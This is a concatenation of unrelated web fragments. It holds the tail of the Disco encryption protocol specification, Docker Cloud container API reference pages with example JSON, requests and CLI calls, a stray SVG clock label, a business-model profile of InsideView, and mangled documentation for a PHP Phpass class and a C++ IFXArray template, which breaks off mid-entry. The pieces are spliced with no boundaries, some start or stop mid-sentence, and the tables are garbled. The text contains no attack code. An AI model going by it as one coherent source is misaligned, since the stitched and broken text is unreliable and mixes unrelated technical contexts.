is at least 16 bytes. If it is not, return an error to the caller and abort the session.n
is equal to 264-1 the function returns an error to the caller and aborts the Disco session.StrobeState
by calling Clone()
on the StrobeState
object.AD(n)
on the new StrobeState
.recv_ENC(ciphertext[:-16])
on the new StrobeState
and store the result in a plaintext
buffer.recv_MAC(ciphertext[-16:])
on the new StrobeState
, if the function returns false
, return an error to the caller and abort the Disco session.n
and discard the new StrobeState
object.plaintext
buffer containing the decrypted data.Rekey()
: calls RATCHET(16) on the Strobe Object.
To use Disco in half-duplex mode, modify Split()
to return the StrobeState
without modifications.
The same security considerations from the Noise specification applies to this section: if the two peers do not properly take turns to write and read on the channel, the protocol will fail catastrophically.
The same security considerations that apply to both Noise and Strobe are to be considered.
The Disco specification (this document) is hereby placed in the public domain.
Thanks to Trevor Perrin and Mike Hamburg for being the foundations and main help in building this specification.
Thanks to Trevor Perrin again for suggesting the name to this extension.
this section will be removed in the final document
draft-6:
draft-5:
draft-4:
DiscoSecureChannel
has been renamed to CipherState
.draft-3:
isSetKey
boolean value was added to the SymmetricState, it is set when MixKey()
is called.EncryptAndHash()
and DecryptAndHash()
now look for the value of isSetKey
and branch to send_CLR()
and recv_CLR()
if the boolean value is set to false
.StrobeState
object has been introduced to formalize the integration of Strobe in Disco.GetHandshakeHash()
function to the SymmetricState
.TAGLEN
field and set it to 16 everywhere. Following Noise's way of defining the tag length.DiscoSecureChannel
objects.draft-2:
SymmetricState
object has been simplified with Strobe's calls (instead of modifying the HandshakeState
).draft-1:
CipherState
object has been removed.[1] Trevor Perrin, “Noise protocol framework.” 2017. https://noiseprotocol.org
[2] Mike Hamburg, “The STROBE protocol framework.” Cryptology ePrint Archive, Report 2017/003, 2017. https://eprint.iacr.org/2017/003
[3] G. Bertoni, J. Daemen, M. Peeters, and G. V. Assche, “Duplexing the sponge: Single-pass authenticated encryption and other applications.” Cryptology ePrint Archive, Report 2011/499, 2011. https://eprint.iacr.org/2011/499
[4] Mike Hamburg, “The STROBE protocol framework specification.” 2017. https://strobe.sourceforge.io/


Containers
Container
Example
{
"autodestroy": "OFF",
"autorestart": "OFF",
"bindings": [
{
"volume": "/api/infra/v1/user_namespace/volume/1863e34d-6a7d-4945-aefc-8f27a4ab1a9e/",
"host_path": null,
"container_path": "/data",
"rewritable": true
},
{
"volume": null,
"host_path": "/etc",
"container_path": "/etc",
"rewritable": true
}
],
"cap_add": [
"ALL"
],
"cap_drop": [
"NET_ADMIN",
"SYS_ADMIN"
],
"container_envvars": [
{
"key": "DB_1_ENV_DEBIAN_FRONTEND",
"value": "noninteractive"
},
{
"key": "DB_1_ENV_MYSQL_PASS",
"value": "**Random**"
},
{
"key": "DB_1_ENV_MYSQL_USER",
"value": "admin"
},
{
"key": "DB_1_ENV_PATH",
"value": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
},
{
"key": "DB_1_ENV_REPLICATION_MASTER",
"value": "**False**"
},
{
"key": "DB_1_ENV_REPLICATION_PASS",
"value": "replica"
},
{
"key": "DB_1_ENV_REPLICATION_SLAVE",
"value": "**False**"
},
{
"key": "DB_1_ENV_REPLICATION_USER",
"value": "replica"
},
{
"key": "DB_1_PORT",
"value": "tcp://<IP_ADDRESS>:3306"
},
{
"key": "DB_1_PORT_3306_TCP",
"value": "tcp://<IP_ADDRESS>:3306"
},
{
"key": "DB_1_PORT_3306_TCP_ADDR",
"value": "<IP_ADDRESS>"
},
{
"key": "DB_1_PORT_3306_TCP_PORT",
"value": "3306"
},
{
"key": "DB_1_PORT_3306_TCP_PROTO",
"value": "tcp"
},
{
"key": "DB_ENV_DEBIAN_FRONTEND",
"value": "noninteractive"
},
{
"key": "DB_ENV_MYSQL_PASS",
"value": "**Random**"
},
{
"key": "DB_ENV_MYSQL_USER",
"value": "admin"
},
{
"key": "DB_ENV_PATH",
"value": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
},
{
"key": "DB_ENV_REPLICATION_MASTER",
"value": "**False**"
},
{
"key": "DB_ENV_REPLICATION_PASS",
"value": "replica"
},
{
"key": "DB_ENV_REPLICATION_SLAVE",
"value": "**False**"
},
{
"key": "DB_ENV_REPLICATION_USER",
"value": "replica"
},
{
"key": "DB_PASS",
"value": "szVaPz925B7I"
},
{
"key": "DB_PORT",
"value": "tcp://<IP_ADDRESS>:3306"
},
{
"key": "DB_PORT_3306_TCP",
"value": "tcp://<IP_ADDRESS>:3306"
},
{
"key": "DB_PORT_3306_TCP_ADDR",
"value": "<IP_ADDRESS>"
},
{
"key": "DB_PORT_3306_TCP_PORT",
"value": "3306"
},
{
"key": "DB_PORT_3306_TCP_PROTO",
"value": "tcp"
},
{
"key": "DB_DOCKERCLOUD_API_URL",
"value": "https://cloud.docker.com/api/app/v1/user_namespace/service/c0fed1dc-c528-40c9-aa4c-dc00672ebcbf/"
}
],
"container_ports": [
{
"endpoint_uri": "http://wordpress-stackable-1.admin.cont.dockerapp.io:49153/",
"inner_port": 80,
"outer_port": 49153,
"port_name": "http",
"protocol": "tcp",
"published": true,
"uri_protocol": "http"
}
],
"cpu_shares": 100,
"cpuset": "0,1",
"cgroup_parent": "m-executor-abcd",
"deployed_datetime": "Thu, 16 Oct 2014 12:04:08 +0000",
"destroyed_datetime": null,
"devices": [
"/dev/ttyUSB0:/dev/ttyUSB0"
],
"dns": [
"<IP_ADDRESS>"
],
"dns_search": [
"example.com",
"c1dd4e1e-1356-411c-8613-e15146633640.local.dockerapp.io"
],
"domainname": "domainname",
"entrypoint": "",
"exit_code": null,
"exit_code_msg": null,
"extra_hosts": [
"onehost:<IP_ADDRESS>"
],
"hostname": "hostname",
"image_name": "tutum/wordpress-stackable:latest",
"labels": {
"com.example.description": "Accounting webapp",
"com.example.department": "Finance",
"com.example.label-with-empty-value": ""
},
"linked_to_container": [
{
"endpoints": {
"3306/tcp": "tcp://<IP_ADDRESS>:3306"
},
"from_container": "/api/app/v1/user_namespace/container/c1dd4e1e-1356-411c-8613-e15146633640/",
"name": "DB_1",
"to_container": "/api/app/v1/user_namespace/container/ba434e1e-1234-411c-8613-e15146633640/"
}
],
"link_variables": {
"WORDPRESS_STACKABLE_1_ENV_DB_HOST": "**LinkMe**",
"WORDPRESS_STACKABLE_1_ENV_DB_NAME": "wordpress",
"WORDPRESS_STACKABLE_1_ENV_DB_PASS": "szVaPz925B7I",
"WORDPRESS_STACKABLE_1_ENV_DB_PORT": "**LinkMe**",
"WORDPRESS_STACKABLE_1_ENV_DB_USER": "admin",
"WORDPRESS_STACKABLE_1_ENV_DEBIAN_FRONTEND": "noninteractive",
"WORDPRESS_STACKABLE_1_ENV_HOME": "/",
"WORDPRESS_STACKABLE_1_ENV_PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"WORDPRESS_STACKABLE_1_PORT": "tcp://<IP_ADDRESS>:80",
"WORDPRESS_STACKABLE_1_PORT_80_TCP": "tcp://<IP_ADDRESS>:80",
"WORDPRESS_STACKABLE_1_PORT_80_TCP_ADDR": "<IP_ADDRESS>",
"WORDPRESS_STACKABLE_1_PORT_80_TCP_PORT": "80",
"WORDPRESS_STACKABLE_1_PORT_80_TCP_PROTO": "tcp",
"WORDPRESS_STACKABLE_ENV_DB_HOST": "**LinkMe**",
"WORDPRESS_STACKABLE_ENV_DB_NAME": "wordpress",
"WORDPRESS_STACKABLE_ENV_DB_PASS": "szVaPz925B7I",
"WORDPRESS_STACKABLE_ENV_DB_PORT": "**LinkMe**",
"WORDPRESS_STACKABLE_ENV_DB_USER": "admin",
"WORDPRESS_STACKABLE_ENV_DEBIAN_FRONTEND": "noninteractive",
"WORDPRESS_STACKABLE_ENV_HOME": "/",
"WORDPRESS_STACKABLE_ENV_PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"WORDPRESS_STACKABLE_PORT": "tcp://<IP_ADDRESS>:80",
"WORDPRESS_STACKABLE_PORT_80_TCP": "tcp://<IP_ADDRESS>:80",
"WORDPRESS_STACKABLE_PORT_80_TCP_ADDR": "<IP_ADDRESS>",
"WORDPRESS_STACKABLE_PORT_80_TCP_PORT": "80",
"WORDPRESS_STACKABLE_PORT_80_TCP_PROTO": "tcp"
},
"mac_address": "02:42:ac:11:65:43",
"memory": 1024,
"memory_swap": 4096,
"name": "wordpress-stackable",
"net": "bridge",
"node": "/api/infra/v1/user_namespace/node/9691c44e-3155-4ca2-958d-c9571aac0a14/",
"pid": "none",
"private_ip": "<IP_ADDRESS>",
"privileged": false,
"public_dns": "wordpress-stackable-1.admin.cont.dockerapp.io",
"read_only": true,
"resource_uri": "/api/app/v1/user_namespace/container/c1dd4e1e-1356-411c-8613-e15146633640/",
"roles": ["global"],
"run_command": "/run-wordpress.sh",
"security_opt": [
"label:user:USER",
"label:role:ROLE"
],
"service": "/api/app/v1/user_namespace/service/adeebc1b-1b81-4af0-b8f2-cefffc69d7fb/",
"started_datetime": "Thu, 16 Oct 2014 12:04:08 +0000",
"state": "Running",
"stdin_open": false,
"stopped_datetime": null,
"synchronized": true,
"tty": false,
"user": "root",
"uuid": "c1dd4e1e-1356-411c-8613-e15146633640",
"working_dir": "/app"
}
A container is a representation of a Docker container in a node.
This is a namespaced endpoint.
Attributes
| Attribute | Description |
|---|---|
| uuid | A unique identifier for the container generated automatically on creation |
| resource_uri | A unique API endpoint that represents the container |
| image_name | The Docker image name and tag of the container |
| bindings | A list of volume bindings that the container has mounted (see table Container Binding attributes below) |
| name | A user provided name for the container (inherited from the service) |
| node | The resource URI of the node where this container is running |
| service | The resource URI of the service which this container is part of |
| public_dns | The external FQDN of the container |
| state | The state of the container (see table Container states below) |
| synchronized | Flag indicating if the container is synchronized with the current service definition. |
| exit_code | The numeric exit code of the container (if applicable, null otherwise) |
| exit_code_msg | A string representation of the exit code of the container (if applicable, null otherwise) |
| deployed_datetime | The date and time of the last deployment of the container (if applicable, null otherwise) |
| started_datetime | The date and time of the last start operation on the container (if applicable, null otherwise) |
| stopped_datetime | The date and time of the last stop operation on the container (if applicable, null otherwise) |
| destroyed_datetime | The date and time of the terminate operation on the container (if applicable, null otherwise) |
| container_ports | List of published ports of this container (see table Container Port attributes below) |
| container_envvars | List of user-defined environment variables set on the containers of the service, which will override the container environment variables (see table Container Environment Variable attributes below) |
| labels | Container metadata in form of dictionary |
| working_dir | Working directory for running binaries within a container |
| user | User used on the container on launch |
| hostname | Hostname used on the container on launch |
| domainname | Domainname used on the container on launch |
| mac_address | Ethernet device’s MAC address used on the container on launch |
| cgroup_name | Optional parent cgroup for the container. |
| tty | If the container has the tty enable |
| stdin_open | If the container has stdin opened |
| dns | Container custom DNS servers |
| dns_search | Container custom DNS search domain |
| cap_add | Container added capabilities |
| cap_drop | Container dropped capabilities |
| devices | List of container device mappings |
| extra_hosts | List of container hostname mappings |
| secuirty_opt | Labeling scheme of this container |
| entrypoint | Entrypoint used on the container on launch |
| run_command | Run command used on the container on launch |
| cpu_shares | The relative CPU priority of the container (see Runtime Constraints on CPU and Memory for more information) |
| cpuset | CPUs in which execution is allowed |
| memory | The memory limit of the container in MB (see Runtime Constraints on CPU and Memory for more information) |
| memory_swap | Total memory limit (memory + swap) of the container in MB |
| autorestart | Whether to restart the container automatically if it stops (see Crash recovery for more information) |
| autodestroy | Whether to terminate the container automatically if it stops (see Autodestroy for more information) |
| roles | List of Docker Cloud roles asigned to this container (see API roles for more information)) |
| linked_to_container | List of IP addresses of the linked containers (see table Container Link attributes below and Service links for more information) |
| link_variables | List of environment variables that would be exposed in any container that is linked to this one |
| privileged | Whether the container has Docker’s privileged flag set or not (see Runtime privilege for more information) |
| read_only | Whether the container filesystem is read-only or not |
| private_ip | IP address of the container on the overlay network. This IP will be reachable from any other container. |
| net | Network mode set on the container (see table Network Modes below, more information) |
| pid | PID (Process) Namespace mode for the container (more information) |
Container Binding attributes
| Attribute | Description |
|---|---|
| host_path | The host path of the volume |
| container_path | The container path where the volume is mounted |
| rewritable | true is the volume has writable permissions |
| volume | The resource URI of the volume |
Container Port attributes
| Attribute | Description |
|---|---|
| protocol | The protocol of the port, either tcp or udp |
| inner_port | The published port number inside the container |
| outer_port | The published port number in the node public network interface |
| port_name | Name of the service associated to this port |
| uri_protocol | The protocol to be used in the endpoint for this port (i.e. http ) |
| endpoint_uri | The URI of the endpoint for this port |
| published | Whether the port has been published in the host public network interface or not. Non-published ports can only be accessed via links. |
Container Environment Variable attributes
| Attribute | Description |
|---|---|
| key | The name of the environment variable |
| value | The value of the environment variable |
Container States
| State | Description |
|---|---|
| Starting | The container is being deployed or started (from Stopped). No actions allowed in this state. |
| Running | The container is deployed and running. Possible actions in this state: stop , terminate . |
| Stopping | The container is being stopped. No actions allowed in this state. |
| Stopped | The container is stopped. Possible actions in this state: start , terminate . |
| Terminating | The container is being deleted. No actions allowed in this state. |
| Terminated | The container has been deleted. No actions allowed in this state. |
Network Modes
| Strategy | Description |
|---|---|
| bridge | Creates a new network stack for the container on the docker bridge. |
| host | Uses the host network stack inside the container. |
Container Link attributes
| Attribute | Description |
|---|---|
| name | The name given to the link |
| from_container | The resource URI of the “client” container |
| to_container | The resource URI of the “server” container being linked |
| endpoints | A dictionary with the endpoints (protocol, IP and port) to be used to reach each of the “server” container exposed ports |
List all containers
import dockercloud
containers = dockercloud.Container.list()
import "github.com/docker/go-dockercloud/dockercloud"
containerList, err := dockercloud.ListContainers()
if err != nil {
log.Println(err)
}
log.Println(containerList)
GET /api/app/v1/container/ HTTP/1.1
Host: cloud.docker.com
Authorization: Basic dXNlcm5hbWU6YXBpa2V5
Accept: application/json
docker-cloud container ps
Lists all current and recently terminated containers. Returns a list of Container
objects.
Endpoint Type
Available in Docker Cloud’s REST API
HTTP Request
GET /api/app/v1/[optional_namespace/]container/
Query Parameters
| Parameter | Description |
|---|---|
| uuid | Filter by UUID |
| state | Filter by state. Possible values: Starting , Running , Stopping , Stopped , Terminating , Terminated |
| name | Filter by container name |
| service | Filter by resource URI of the target service. |
| node | Filter by resource URI of the target node. |
Get an existing container
import dockercloud
container = dockercloud.Container.fetch("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
import "github.com/docker/go-dockercloud/dockercloud"
container, err := dockerckoud.GetContainer("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
if err != nil {
log.Println(err)
}
log.Println(container)
GET /api/app/v1/container/7eaf7fff-882c-4f3d-9a8f-a22317ac00ce/ HTTP/1.1
Host: cloud.docker.com
Authorization: Basic dXNlcm5hbWU6YXBpa2V5
Accept: application/json
docker-cloud container inspect 7eaf7fff
Get all the details of an specific container
Endpoint Type
Available in Docker Cloud’s REST API
HTTP Request
GET /api/app/v1/[optional_namespace/]container/(uuid)/
Path Parameters
| Parameter | Description |
|---|---|
| uuid | The UUID of the container to retrieve |
Get the logs of a container
Example log line
{
"type": "log",
"log": "Log line from the container",
"streamType": "stdout",
"timestamp":<PHONE_NUMBER>
}
import dockercloud
def log_handler(message):
print message
container = dockercloud.Container.fetch("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
container.logs(tail=300, follow=True, log_handler=log_handler)
import "github.com/docker/go-dockercloud/dockercloud"
container, err := dockercloud.GetContainer("447ecddc-2890-4ea2-849b-99392e0dd7a6")
if err != nil {
log.Fatal(err)
}
c := make(chan dockercloud.Logs)
go container.Logs(c)
for {
s := <-c
log.Println(s)
}
GET /api/app/v1/container/7eaf7fff-882c-4f3d-9a8f-a22317ac00ce/logs/ HTTP/1.1
Host: ws.cloud.docker.com
Authorization: Basic dXNlcm5hbWU6YXBpa2V5
Connection: Upgrade
Upgrade: websocket
docker-cloud container logs 7eaf7fff
Get the logs of the specified container.
Endpoint Type
Available in Docker Cloud’s STREAM API
HTTP Request
GET /api/app/v1/[optional_namespace/]container/(uuid)/logs/
Path Parameters
| Parameter | Description |
|---|---|
| uuid | The UUID of the container to retrieve logs |
Query Parameters
| Parameter | Description |
|---|---|
| tail | Number of lines to show from the end of the logs (default: 300 ) |
| follow | Whether to stream logs or close the connection immediately (default: true) |
| service | Filter by service (resource URI) |
Start a container
import dockercloud
container = dockercloud.Container.fetch("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
container.start()
import "github.com/docker/go-dockercloud/dockercloud"
container, err := dockercloud.GetContainer("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
if err != nil {
log.Println(err)
}
if err = container.Start(); err != nil {
log.Println(err)
}
POST /api/app/v1/container/7eaf7fff-882c-4f3d-9a8f-a22317ac00ce/start/ HTTP/1.1
Host: cloud.docker.com
Authorization: Basic dXNlcm5hbWU6YXBpa2V5
Accept: application/json
docker-cloud container start 7eaf7fff
Starts a stopped container.
Endpoint Type
Available in Docker Cloud’s REST API
HTTP Request
POST /api/app/v1/[optional_namespace/]container/(uuid)/start/
Path Parameters
| Parameter | Description |
|---|---|
| uuid | The UUID of the container to start |
Stop a container
import dockercloud
container = dockerlcoud.Container.fetch("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
container.stop()
import "github.com/docker/go-dockercloud/dockercloud"
container, err := dockercloud.GetContainer("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
if err != nil {
log.Println(err)
}
if err = container.Stop(); err != nil {
log.Println(err)
}
POST /api/app/v1/container/7eaf7fff-882c-4f3d-9a8f-a22317ac00ce/stop/ HTTP/1.1
Host: cloud.docker.com
Authorization: Basic dXNlcm5hbWU6YXBpa2V5
Accept: application/json
docker-cloud container stop 7eaf7fff
Stops a running container.
Endpoint Type
Available in Docker Cloud’s REST API
HTTP Request
POST /api/app/v1/[optional_namespace/]container/(uuid)/stop/
Path Parameters
| Parameter | Description |
|---|---|
| uuid | The UUID of the container to stop |
Redeploy a container
import dockercloud
container = dockercloud.Container.fetch("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
container.redeploy()
import "github.com/docker/go-dockercloud/dockercloud"
container, err := dockercloud.GetContainer("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
if err != nil {
log.Println(err)
}
//Redeploy(dockercloud.ReuseVolumesOption{Reuse: true) to reuse the existing volumes
//Redeploy(dockercloud.ReuseVolumesOption{Reuse: false}) to not reuse the existing volumes
if err = container.Redeploy(dockercloud.ReuseVolumesOption{Reuse: false}); err != nil {
log.Println(err)
}
POST /api/app/v1/container/7eaf7fff-882c-4f3d-9a8f-a22317ac00ce/start/ HTTP/1.1
Host: cloud.docker.com
Authorization: Basic dXNlcm5hbWU6YXBpa2V5
Accept: application/json
docker-cloud container redeploy 7eaf7fff
Redeploys a container.
Endpoint Type
Available in Docker Cloud’s REST API
HTTP Request
POST /api/app/v1/[optional_namespace/]container/(uuid)/redeploy/
Path Parameters
| Parameter | Description |
|---|---|
| uuid | The UUID of the container to redeploy |
Query Parameters
| Parameter | Description |
|---|---|
| reuse_volumes | Wheather to reuse container volumes for this redeploy operation or not (default: true ). |
Terminate a container
import dockercloud
container = dockercloud.Container.fetch("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
container.delete()
import "github.com/docker/go-dockercloud/dockercloud"
container, err := dockercloud.GetContainer("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
if err != nil {
log.Println(err)
}
if err = container.Terminate(); err != nil {
log.Println(err)
}
DELETE /api/app/v1/container/7eaf7fff-882c-4f3d-9a8f-a22317ac00ce/ HTTP/1.1
Host: cloud.docker.com
Authorization: Basic dXNlcm5hbWU6YXBpa2V5
Accept: application/json
docker-cloud container terminate 7eaf7fff
Terminates the specified container. This is not reversible. All data stored in the container will be permanently deleted.
Endpoint Type
Available in Docker Cloud’s REST API
HTTP Request
DELETE /api/app/v1/[optional_namespace/]container/(uuid)/
Path Parameters
| Parameter | Description |
|---|---|
| uuid | The UUID of the container to terminate |
Execute command inside a container
import dockercloud
def msg_handler(message):
print message
container = dockercloud.Container.fetch("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
container.execute("ls", handler=msg_handler)
import "github.com/docker/go-dockercloud/dockercloud"
container, err := dockercloud.GetContainer("7eaf7fff-882c-4f3d-9a8f-a22317ac00ce")
if err != nil {
log.Println(err)
}
c := make(chan dockercloud.Exec)
container.Exec("ls", c)
GET /api/app/v1/container/(uuid)/exec/ HTTP/1.1
Host: ws.cloud.docker.com
Authorization: Basic dXNlcm5hbWU6YXBpa2V5
Connection: Upgrade
Upgrade: websocket
docker-cloud exec 7eaf7fff ls
Executes a command inside the specified running container, creating a bi-directional stream for the process’ standard input and output. This endpoint can be connected to using a bi-directional Secure Web Socket wss://ws.cloud.docker.com/api/app/v1/container/(uuid)/exec/
Endpoint Type
Available in Docker Cloud’s STREAM API
HTTP Request
GET /api/app/v1/[optional_namespace/]container/(uuid)/exec/
Path Parameters
| Parameter | Description |
|---|---|
| uuid | The UUID of the container where the command will be executed |
Query Parameters
| Parameter | Description |
|---|---|
| command | Command to be executed (default: sh ) |


SVG 24 hour analog clock
this clock gets the current time from the client's system and converts it to a 24 hour analog display
12
13
14
15
16
17
18
19
20
21
22
23
0
1
2
3
4
5
6
7
8
9
10
11


insideview
Businessmodel of InsideView
Customer Segments
InsideView offers a range of customer relationship management solutions to commercial clients across multiple business sectors. This includes customers across the following industries:
- Technology, including various high technology companies, online service providers, IT service companies, software developers, and other technology-focused businesses;
- Financial and Professional Services, including various financial service providers, accounting and professional services firms, and banking institutions;
- Travel and Transport, including travel agencies and agents, transport service providers, airlines, logistics companies, and fleet management companies;
- Media and Publishing, including media outlets, publishing houses, online magazines, and other physical and digital media publishers;
- Energy, including oil and gas companies, energy transmission companies, and energy producers;
- Education, including various higher education institutions, such as universities and colleges, as well as research institutions; and
- Construction, including engineering firms, specialist contractors, and large construction companies. InsideView names a number of its clients on its website. This includes high-profile companies such as Chevron, Deloitte, FujiFilm, Adobe, Condé Nast, Adecco, IBM, Tiffany and Co., and Andreessen Horowitz.
InsideView principally serves clients in its home market of the US. The Company also serves an international client base, and maintains a presence in India.
Value Propositions
InsideView provides value to its clients in the following ways:
- Its reputation and industry standing, with the Company established as a reliable and popular provider of customer relationship management solutions, as demonstrated by its ability to secure business from market-leading companies such a Chevron, Adobe, IBM, and Deloitte;
- Its variety of solutions, with the Company offering a wide variety of products and services that are designed to address a range of sales, marketing, and other business needs for clients across multiple industries;
- Its exhaustive data sources, with the Company aggregating data from more than 40,000 sources across a range of markets and jurisdictions, enabling it to provide detailed, accurate, and current information to its clients;
- Its proprietary technologies, with the Company utilising various proprietary technologies in the development and implementation of its products, making its offerings unique within the industry; and
- Its industry expertise and experience, with the Company employing specialist personnel across its operating units, as well as a team of experienced industry executives. ### Channels
InsideView operates a website at www.insideview.com, through which it provides information on its various products, services, partners, and locations. The Company does not operate an online sales channel. It does, however, allow customers to register an interest in the Company’s products and request demonstrations directly through the Company’s website.
InsideView also operates an online customer portal, through which users are able to access products, tools, and resources, and offers a mobile app that can be downloaded via the Apple App Store and the Google Play Store.
InsideView makes its sales primarily through a direct sales force, the members of which deal directly with clients. The Company’s sales staff operate out of its network of offices across the US and in India, including locations in San Francisco, Austin, and Hyderabad. InsideView has two sales teams organised by geographic region – its US-based headquarters and its Asia Pacific team – both of which can be contacted over the phone.
InsideView additionally make sales through a network of channel partners. This includes various value added resellers, affiliates, and sales agents.
Customer Relationships
InsideView does not sell its products and solutions to clients on a self-service basis. It does, however, allow customer to register an interest in products through its website, and operates an online customer portal, through which clients can access tools and resources directly without interacting with members of the Company’s sales and service personnel. The Company’s mobile apps are similarly available on a self-service basis.
InsideView makes sales primarily through its direct sales force, the members of which consult closely with clients in order to ensure that they are provided the appropriate solutions. The Company seeks to establish its service offerings as a key component to its clients’s systems, with a view to securing long-term business and client relationships.
InsideView offers ongoing support to its customers, who are able to contact the Company’s support personnel over the phone or through an online contact form. The Company also provides a range of online support resources through its Knowledge Base, including user guides, product information, and instructions. It additionally operates a Training Hub, where clients can access training resources for the Company’s various products.
Additionally, InsideView maintains social media accounts with Facebook and Twitter, through which it can publish company updates and interact directly with customers.
Key Activities
InsideView offers a range of customer relationship management solutions for sales, marketing, account management, and mobiles.
The Company offers a range of data and services to its clients, including contact data, social and news insights, and business connections, as well as a range of training and support services. InsideView serves clients across a range of industries, including the financial and professional services, technology, education, travel, energy, and media and publishing industries.
The Company is headquartered in the US, where it maintains offices in San Francisco and Austin. It also operates an office in India.
Key Partners
InsideView works in close collaboration with a broad network of partner organisations that assist in the development and distribution of the Company’s service offerings. These partnerships can be organised into the following categories:
- Supplier and Vendor Partners, including suppliers of services, equipment, and technologies that are utilised in the development and implementation of its products and solutions;
- Channel and Distribution Partners, including the Company’s network of resellers, sales agents, and affiliates that assist in extending the Company’s own in-house sales and marketing reach;
- Technology and Original Equipment Manufacturing Partners, including technology companies, software developers, and original equipment manufacturers of various kinds that assist in the development and implementation of the Company’s products and solutions;
- Consulting Partners, including systems integrators and specialist consulting firms that assist in delivering value added services to their mutual customers; and
- API Partners, including various application developers that integrate the Company’s solutions and data offerings into a range of third party products and solutions. InsideView names a number of its partners on its website. This includes technology partners Oracle, SAP, and NetSuite; consulting partners Hitachi Solutions, Armanino, and CoreMotives; and API partners Bullhorn, Kitedesk, and SalesLoft.
Key Resources
InsideView’s key resources are its intellectual properties and technologies, its software solutions and online platform, its IT and communications infrastructure, its sales and distribution channels, its network of partners, and its personnel.
InsideView utilises a range of proprietary technologies in the development and provision of its solutions. Searches of record published by the US Patent and Trademark Office, however, identified no patent applications filed in InsideView’s name.
InsideView owns and or leases several physical properties that comprise its office network, including its locations in San Francisco, Austin, and Hyderabad.
Cost Structure
InsideView incurs costs in relation to the development of its technologies and solutions, the development and maintenance of its online platform, the maintenance of its IT and communications infrastructure, the procurement of professional services, the operation of its sales and distribution channels, the management of its partnerships, the implementation of advertising and marketing campaigns, and the retention of its personnel.
Revenue Streams
InsideView generates revenue through the development and provision of various customer relationship management solutions, as well as the provision of other ancillary services. The Company derives its revenue under sales and service contracts.
InsideView remains a privately owned company, and as such is not obliged to disclose its financial results online. Research did not identify any reference to the Company’s recent revenue figures. Some reports, however, state that the Company experienced 138% revenue growth in the first half of 2015.


Class Phpass
License:
License Copyright (c) 2012 Jens Segers
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Author: Jens Segers
Located at libraries/phpass.php
Author: Jens Segers
Located at libraries/phpass.php
public
|
|
public
|
|
public
|
|
public
|
|
public
mixed
|
|
public
mixed
|
protected
mixed
|
$PasswordHash |
|
|
protected
integer
|
$iteration_count_log2 | 8 |
|
protected
boolean
|
$portable_hashes | FALSE |


|
|
IFXArray< T > Class Template ReferenceDynamic Array.
More...
Inheritance diagram for IFXArray< T >:
List of all members.
Detailed Description
template<class T>
class IFXArray< T >
Dynamic Array.
- Note:
- Class T is required have a member: T &T::operator=(const T &operand). Depending on the compiler, lack of this might fail if the Collect() member is used. The const is optional.
Array will use contiguous backing of the length specified in constructor or Clear(). Elements beyond the length will use scattered new()'s. Use Collect() to make the data contiguous again.
If the elements contain pointed-to data, it is not recommended to use Collect().
Mechanisms are in place that should allow the original IFXArray to be defined as a static in a Win32 DLL, given no preallocation on construction. (It's always safe in Linux.)
Elements may be reused without reconstruction. To properly reset reused items in the array, the derived class should provide a `ResetElement(T &element)'.
Constructor & Destructor Documentation
|
|
Initializes the array with space for a specified number of preallocated contiguous entries.
|
|
|
- Todo:
- : investigate major threading issue
|
Member Function Documentation
|
template<class T> |
| IFXINLINE void IFXArray< T >::Append |
( |
const IFXArray< T > & |
other |
) |
|
|
|
|
Copy all elements of another array to end of this one.
|
|
template<class T> |
| IFXINLINE T * IFXArray< T >::Collect |
( |
void |
|
) |
|
|
|
|
Moves all elements into contiguous space.
If you stored pointer to elements, this can make them invalid. |
|
template<class T> |
| IFXINLINE void IFXArray< T >::Construct |
( |
U32 |
index |
) |
[private, virtual] |
|
|
template<class T> |
| IFXINLINE T & IFXArray< T >::CreateNewElement |
( |
void |
|
) |
|
|
|
|
Expands the array by 1 and returns a reference to the last element.
|
|
template<class T> |
| IFXINLINE void IFXArray< T >::DeleteElement |
( |
U32 |
index |
) |
|
|
|
template<class T> |
| IFXINLINE void IFXArray< T >::Destruct |
( |
U32 |
index |
) |
[private, virtual] |
|
|
template<class T> |
| IFXINLINE void IFXArray< T >::DestructAll |
( |
void |
|
) |
[private, virtual] |
|
|
template<class T> |
| T& IFXArray< T >::GetElement |
( |
U32 |
index |
) |
[inline] |
|
|
|
Accesses an element by index.
|
|
template<class T> |
| const T& IFXArray< T >::GetElementConst |
( |
U32 |
index |
) |
const [inline] |
|
|
|
Accesses an element by index, maintaining const.
|
|
template<class T> |
| IFXINLINE void IFXArray< T >::operator= |
( |
const IFXArray< T > & |
other |
) |
|
|
|
|
Deep copy (does not automatically Collect()).
|
|
template<class T> |
| const T& IFXArray< T >::operator[] |
( |
U32 |
index |
) |
const [inline] |
|
|
|
Access an element by index, maintaining const.
|
|
template<class T> |
| T& IFXArray< T >::operator[] |
( |
U32 |
index |
) |
[inline] |
|
|
|
Access an element by index.
|
|
|
Generates a string representing the contents of this array.
|
|
template<class T> |
| IFXINLINE void IFXArray< T >::Preallocate |
